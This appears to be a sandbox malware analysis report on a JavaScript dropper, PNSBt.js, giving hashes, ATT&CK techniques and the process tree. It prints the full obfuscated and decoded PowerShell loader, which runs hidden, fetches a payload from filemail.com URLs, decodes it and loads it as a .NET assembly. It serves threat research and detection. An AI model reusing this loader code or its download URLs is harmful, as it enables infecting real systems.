3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488

General

Target

PNSBt.js
Size

103KB
MD5

82bf71f9d463c60e2304cbf9f9cac022
SHA1

d54cce9d9a238310b00d154c9f35033e62ca1d81
SHA256

3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488
SHA512

19bf4493c19a438fbd21266f012f21b22a2cf0448db22c41d9994afaa200a04a621968737953c12408f7d31e9c8c0bbd253e900823364210090e98a841b5004c
SSDEEP

3072:MHXp+q62Nhxdd5pdq61HXp+q62Nhxdd5pdqsVd0HXp+q62Nhxdd5pdq61HXp+q61:k3/13jc3/13+

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2832 powershell.exe
6 2832 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2804 powershell.exe
2832 powershell.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2804 powershell.exe
2832 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2804 powershell.exe
Token: SeDebugPrivilege 2832 powershell.exe

flow	pid	process
5	2832	powershell.exe
6	2832	powershell.exe

pid	process
2804	powershell.exe
2832	powershell.exe

pid	process
2804	powershell.exe
2832	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 2144 wrote to memory of 2804	2144	wscript.exe	powershell.exe
PID 2144 wrote to memory of 2804	2144	wscript.exe	powershell.exe
PID 2144 wrote to memory of 2804	2144	wscript.exe	powershell.exe
PID 2804 wrote to memory of 2832	2804	powershell.exe	powershell.exe
PID 2804 wrote to memory of 2832	2804	powershell.exe	powershell.exe
PID 2804 wrote to memory of 2832	2804	powershell.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PNSBt.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACgARwBlAFQALQBWAGEAcgBJAGEAQgBsAGUAIAAnACoAbQBkAFIAKgAnACkALgBOAGEATQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBJAE4AJwAnACkAKAAgACgAJwBjAHEAagBpAG0AYQBnAGUAVQByAGwAIAA9ACAAcABYAHoAaAB0AHQAcABzADoALwAvADEAMAAxADcALgBmAGkAbABlAG0AYQBpAGwALgBjAG8AbQAvAGEAcABpAC8AZgBpAGwAZQAvAGcAZQB0AD8AZgBpAGwAZQBrAGUAeQA9ADIAQQBhAF8AYgBXAG8AOQBSAGUAdQA0ADUAdAA3AEIAVQAxAGsAVgBnAHMAZAA5AHAAVAA5AHAAZwBTAFMAbAB2AFMAdABHAHIAbgBUAEkAQwBmAEYAaABtAFQASwBqADMATABDADYAUwBRACcAKwAnAHQASQBjAE8AYwBfAFQAMwA1AHcAJgBwAGsAXwB2ACcAKwAnAGkAZAA9AGYAZAA0AGYANgAxADQAYgBiADIAMAA5AGMANgAyAGMAMQA3ADMAMAA5ADQANQAxADcANgBhADAAOQAwADQAZgAgAHAAWAB6ADsAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACcAKwAnAGMAcQBqAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoAGMAcQBqAGkAbQBhAGcAZQBVAHIAJwArACcAbAApADsAYwBxAGoAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAYwBxACcAKwAnAGoAaQBtAGEAZwBlAEIAeQB0AGUAcwApACcAKwAnADsAYwBxAGoAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgBwAFgAegA7AGMAcQBqAGUAbgBkAEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+AHAAWAB6ADsAYwBxAGoAcwAnACsAJwB0AGEAcgAnACsAJwB0AEkAbgBkAGUAeAAgAD0AIABjAHEAagBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeAAnACsAJwBPACcAKwAnAGYAKABjAHEAagBzAHQAYQByAHQARgBsAGEAZwApADsAYwBxAGoAZQBuAGQAJwArACcASQBuAGQAZQB4ACAAPQAgAGMAcQBqAGkAbQAnACsAJwBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAGMAcQBqAGUAbgBkAEYAbABhAGcAKQA7AGMAcQAnACsAJwBqACcAKwAnAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAYwBxAGoAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIABjAHEAagBzAHQAYQByAHQASQBuAGQAZQB4ADsAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgAGMAcQBqAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwBjAHEAagBiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIABjAHEAagAnACsAJwBlAG4AZABJAG4AZABlAHgAIAAtACAAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGMAcQBqAGIAYQBzAGUANgA0AEMAbwAnACsAJwBtAG0AYQBuAGQAIAA9ACAAYwBxAGoAJwArACcAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACcAKwAnAGMAcQBqAHMAdABhAHIAdABJAG4AJwArACcAZABlAHgALAAnACsAJwAgAGMAcQBqAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwBjAHEAagAnACsAJwBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAIAA9ACAALQBqAG8AaQBuACAAKABjAHEAagBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAG4AeABhACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAGMAcQBqAF8AIAB9ACkAWwAtADEALgAuAC0AKABjAHEAagBiAGEAcwBlADYANABDAG8AJwArACcAbQBtAGEAbgBkAC4ATABlAG4AZwB0AGgAKQBdADsAYwBxAGoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAGMAcQBqAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAApADsAYwBxAGoAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwAnACsAJwBuAC4AQQBzAHMAZQBtAGIAJwArACcAbAB5ACcAKwAnAF0AJwArACcAOgA6AEwAbwBhACcAKwAnAGQAKABjAHEAagBjAG8AbQBtAGEAJwArACcAbgBkAEIAeQB0AGUAcwApADsAYwBxAGoAdgBhAGkATQBlACcAKwAnAHQAaABvAGQAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoAHAAWAB6AFYAQQBJAHAAWAAnACsAJwB6ACkAOwBjAHEAagB2AGEAaQBNAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACcAKwAnACgAYwBxAGoAbgB1AGwAbAAsACAAQAAoAHAAWAB6ADAALwA4AGUAUgAnACsAJwBOAEcALwBkAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaABwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwAnACsAJwBwAFgAegAsACAAcABYAHoATQBTAEIAdQBpAGwAZABwAFgAegAsACAAcABYAHoAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQAnACsAJwB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAMQBwAFgAegAsAHAAWAB6AGQAZQAnACsAJwBzAGEAdABpAHYAYQBkAG8AcABYAHoAKQApADsAJwApAC4AcgBlAFAATABBAEMAZQAoACgAWwBDAEgAQQBSAF0AMQAxADAAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADkANwApACwAJwB8ACcAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADEAMQAyACsAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0AMQAyADIAKQAsAFsAcwB0AHIAaQBOAGcAXQBbAEMASABBAFIAXQAzADkAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADkAOQArAFsAQwBIAEEAUgBdADEAMQAzACsAWwBDAEgAQQBSAF0AMQAwADYAKQAsACcAJAAnACkAIAApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GeT-VarIaBle '*mdR*').NaMe[3,11,2]-joIN'')( ('cqjimageUrl = pXzhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQ'+'tIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a0904f pXz;cqjwebClient = New-Object System.Net.WebClient;'+'cqjimageBytes = cqjwebClient.DownloadData(cqjimageUr'+'l);cqjimageText = [System.Text.Encoding]::UTF8.GetString(cq'+'jimageBytes)'+';cqjstartFlag = pXz<<BASE64_START>>pXz;cqjendFlag = pXz<<BASE64_END>>pXz;cqjs'+'tar'+'tIndex = cqjimageText.Index'+'O'+'f(cqjstartFlag);cqjend'+'Index = cqjim'+'ageText.IndexO'+'f(cqjendFlag);cq'+'j'+'startIndex -ge 0 -and cqjendIndex -gt cqjstartIndex;cqjstartIndex += cqjstartFlag.Length;cqjbase64Length = cqj'+'endIndex - cqjstartIndex;cqjbase64Co'+'mmand = cqj'+'imageText.Substring('+'cqjstartIn'+'dex,'+' cqjbase64Length);cqj'+'base64Reversed = -join (cqjbase64Command.ToCharArray() nxa ForEach-Object { cqj_ })[-1..-(cqjbase64Co'+'mmand.Length)];cqjcommandBytes = [System.Convert]::FromBase64String(cqjbase64Reversed);cqjloadedAssembly = [System.Reflectio'+'n.Assemb'+'ly'+']'+'::Loa'+'d(cqjcomma'+'ndBytes);cqjvaiMe'+'thod = [dnlib.IO.Home].GetMethod(pXzVAIpX'+'z);cqjvaiMethod.Invoke'+'(cqjnull, @(pXz0/8eR'+'NG/d/ee.etsap//:sptthpXz, pXzdesativadopXz, pXzd'+'esativad'+'opXz, pXzdesativado'+'pXz, pXzMSBuildpXz, pXzde'+'sativadopXz, pXzd'+'esa'+'tivadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXz1pXz,pXzde'+'sativadopXz));').rePLACe(([CHAR]110+[CHAR]120+[CHAR]97),'|').rePLACe(([CHAR]112+[CHAR]88+[CHAR]122),[striNg][CHAR]39).rePLACe(([CHAR]99+[CHAR]113+[CHAR]106),'$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f4ebc97aca0da5823d9c6f940798173d

SHA1
1dc02b6bc69b1ff2a626b1834d8a551a4b516c89

SHA256
3a743b08946075043724166de76cb8c74e47ce4b702bcbcfc3e2d93dd8f29c30

SHA512
ad95c6295e3d2980a2272c01d94fa3966b84953cbcc251974cca93ecfc68de3d54a8aa62d544b672ea5a5f7c4f1f95507186171479a2a6ca4e7cfaed61f46914

Download Submit
memory/2804-4-0x000007FEF642E000-0x000007FEF642F000-memory.dmp

Filesize
4KB

Download
memory/2804-7-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-6-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2804-5-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download
memory/2804-8-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-9-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-15-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-16-0x000007FEF6170000-0x000007FEF6B0D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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